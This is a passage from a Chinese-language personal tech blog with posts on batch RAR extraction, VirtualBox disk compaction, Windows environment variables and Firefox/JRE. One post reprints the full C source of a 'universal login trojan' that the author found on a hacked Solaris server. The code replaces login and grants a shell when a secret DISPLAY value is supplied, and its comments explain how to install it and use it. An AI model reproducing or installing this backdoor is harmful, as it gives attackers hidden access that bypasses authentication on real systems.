批次解壓縮有密碼保護的RAR檔案

Posted 十二月 11, 2009 by dylanliu
Categories: 1

在圖形模式底下,若一次要解壓縮大量的WinRAR檔案,得要一個一個檔案輸入密碼才能解。但以命令提示字元輸入,可以一次解壓縮(但是前提要每一個檔案的密碼都相同)。

1. 將所有的壓縮檔放在同一資料夾底下
2. 執行命令提示字元
3. 輸入以下指令後按ENTER執行

set path=”C:\Program Files\WinRAR”

若WinRAR安裝路徑非以上預設目錄時,記得更換路徑名稱
4. 輸入以下指令後按ENTER執行

for %x in (*.rar) do unrar e -o+ -pPASSWORD %x

-o+代表所有壓縮檔內若有相同檔名者一律覆蓋
PASSWORD則替換為真實的密碼

壓縮 VirtualBox 的VM檔案大小

Posted 五月 2, 2009 by dylanliu
Categories: 1

Tags:

在 Guest OS裡,當硬碟空間釋放後,Host OS的硬碟檔案(.vdi)卻仍然維持原有大小無法釋放….

此時需藉助VirtualBox的工具,在命令提示字元裡面進行壓縮。

步驟:

1. 在壓縮前於Guest OS以命令提示字元執行sdelete以徹底釋放不必要空間 (選擇性步驟)
sdelete為Sysinternals(現已被Microsoft收購)提供的工具,可於以下網址下載:

http://technet.microsoft.com/en-us/sysinternals/bb897443.aspx

格式:sdelete -c <drive>

範例:sdelete -c D:

2. 在Host OS以命令提示字元執行vboxmanage以壓縮VM硬碟檔案,vboxmanage位於安裝目錄下,預設安裝目錄位於C:\Program Files\Sun\xVM VirtualBox,或者可以設定SET PATH=”C:\Program Files\Sun\xVM VirtualBox”

格式:vboxmanage modifyhd <filename> –compact

範例:vboxmanage modifyhd “D:\.VirtualBox\harddisks\WinXP.vdi”  –compact

(以上僅用過.vdi的格式,.vmdk與.vhd格式是否可用仍待確認)

此為VirtualBox 2.2.2新增功能,此功能目前仍為實驗性質。

Windows 環境變數表

Posted 四月 28, 2008 by dylanliu
Categories: OS, Windows

Tags:

在ABAP做frontend溝通時或許用的到:)

原文連結

每部電腦的環境變數大致相同,但也可能會有若干差異,這是因為安裝的軟體或使用者可能自行設定了環境變數;在『命令提示字元』視窗利用set指令,就能列出完整的環境變數。

除了上篇文章提及了若干,以下再補述其他環境變數;這些環境變數可以『檔案總管』試之,或在DOS視窗以echo指令顯示其值:

* %ALLUSERSPROFILE%:All Users設定檔的資料夾位置。
* %APPDATA%:目前使用者的Application Data資料夾位置。
* %CD%:目前的工作資料夾。
* %CLIENTNAME%:目前使用者的NETBIOS電腦名稱。
* %CMDCMDLINE%:處理目前命令提示字元視窗命令的cmd.exe的完整路徑。
* %CMDEXTVERSION%:目前Command Processor Extensions的版本。
* %CommonProgramFiles%:Common Files資料夾的路徑。
* %COMPUTERNAME%:電腦名稱。

* %COMSPEC%::命令提示字元視窗的解譯程式路徑,通常與%CMDCMDLINE%相同。
* %DATE%:目前的系統日期。
* %ERRORLEVEL%:最近執行過的命令的錯誤碼;非零的值表示發生過的錯誤碼。
* %HomeDrive%:使用者目錄的磁碟機。
* %HomePath%:使用者家目錄。
* %HOMESHARE%:目前使用者共用資料夾的網路路徑。
* %LOGONSEVER%:目前使用者所登入的網路控制器名稱。
* %NUMBER_OF_PROCESSORS%:電腦的處理器數量。
* %OS%:作業系統名稱,其值固定為Windows_NT。
* %Path%:執行檔的搜尋路徑。
* %PATHEXT%:作業系統是為執行檔的副檔名。
* %PROCESSOR_ARCHITECTURE%:處理器的架構名稱,例如x86。
* %PROCESSOR_IDENTFIER%:說明處理器的文字(不一定會有此環境變數)。
* %PROCESSOR_LEVEL%:處理器的model number。
* %PROCESSOR_REVISION%:處理器的revision number。
* %ProgramFiles%:應用程式目錄,預設是C:\Program Files。
* %PROMPT%:目前解譯程式的命令提示字串。
* %RANDOM%:顯示0到32767之間的十進位整數亂數。
* %SESSIONNAME%:連上終端伺服器的session names。
* %SystemDrive%:系統磁碟機,預設是C:。
* %SystemRoot%:系統根目錄,預設是C:\WINNT或C:\WINDOWS。
* %SystemDirectory%:系統目錄,預設是C:\WINNT\System32或C:\WINDOWS\System32。
* %Temp%、%Tmp%:暫存檔目錄。
* %TIME%:目前的系統時間。
* %UserDomain%:包含使用者帳號的網域名稱,或者電腦名稱。
* %UserName%:使用者帳號名稱。
* %USERPROFILE%:目前使用者的設定檔路徑。
* %WinDir%:Windows目錄,預設是C:\WINNT或C:\WINDOWS。

木馬(Universal login trojan)原始碼

Posted 四月 28, 2008 by dylanliu
Categories: OS, Solaris

Tags: ,

以前幹Solaris網管時,公司server被駭(我進公司不到一星期發現的,應該是我進去之前就被破台很久-_-|||),駭進來的人真的有點白目,竟然編譯完login.c檔案後,替換掉正常程序後也沒把原始碼刪除掉,也因此我得以一窺究竟(雖然我還是看不懂)。

留著或許有用或許沒用,反正也是今天整理舊檔案時發現的,就貼上來給大家看看吧:

/*
* PRIVATE !! PRIVATE !! PRIVATE !! PRIVATE !! PRIVATE !! PRIVATE !! PRIVATE !!
* Universal login trojan by Tragedy/Dor
*  Email: rawpower@iname.com
*  IRC: [Dor]@ircnet
*
* Login trojan for pretty much any O/S...
* Tested on:   Linux, BSDI 2.0, FreeBSD, IRIX 6.x, 5.x, Sunos 5.5,5.6,5.7
*       OSF1/DGUX4.0,
* Known not to work on:
*  SunOS 4.x and 5.4... Seems the only variable passwd to login
*  on these versions of SunOS is the $TERM... and its passed via
*  commandline option... should be easy to work round in time
*
*   #define         PASSWORD  - Set your password here
*   #define         _PATH_LOGIN - This is where you moved the original login to
*  login to hacked host with...
*  from bourne shell (sh, bash) sh DISPLAY="your pass";export DISPLAY;telnet host
*
*/

#include        <stdio.h>
#if !defined(PASSWORD)
#define  PASSWORD "xxx"
#endif
#if !defined(_PATH_LOGIN)
# define                _PATH_LOGIN     "/dev/login"
#endif

main (argc, argv, envp):q
int argc;
char **argv, **envp;
{
char *display = getenv("DISPLAY");
if ( display == NULL ) {
      execve(_PATH_LOGIN, argv, envp);
      perror(_PATH_LOGIN);
      exit(1);
 }
if (!strcmp(display,PASSWORD)) {
              system("/bin/sh");
      exit(1);
      }

      execve(_PATH_LOGIN, argv, envp);
      exit(1);
}

如何使firefox 2能夠正確呼叫JRE

Posted 四月 28, 2008 by dylanliu
Categories: Software

Tags:

原文連結:
http://blog.alexw.net/archives/2007/12/06/655.php

這問題困惑我很久(不是困擾,因為不能使用時通常我都直接轉用IE,懶得想怎麼解決),今天突然想要在firefox下使用JNLP,就突然找到solution。

由於我也搞不清楚啥叫cc授權,因此沒有原文全部轉貼,就只有弄個連結過來。

改天搞懂再說吧:)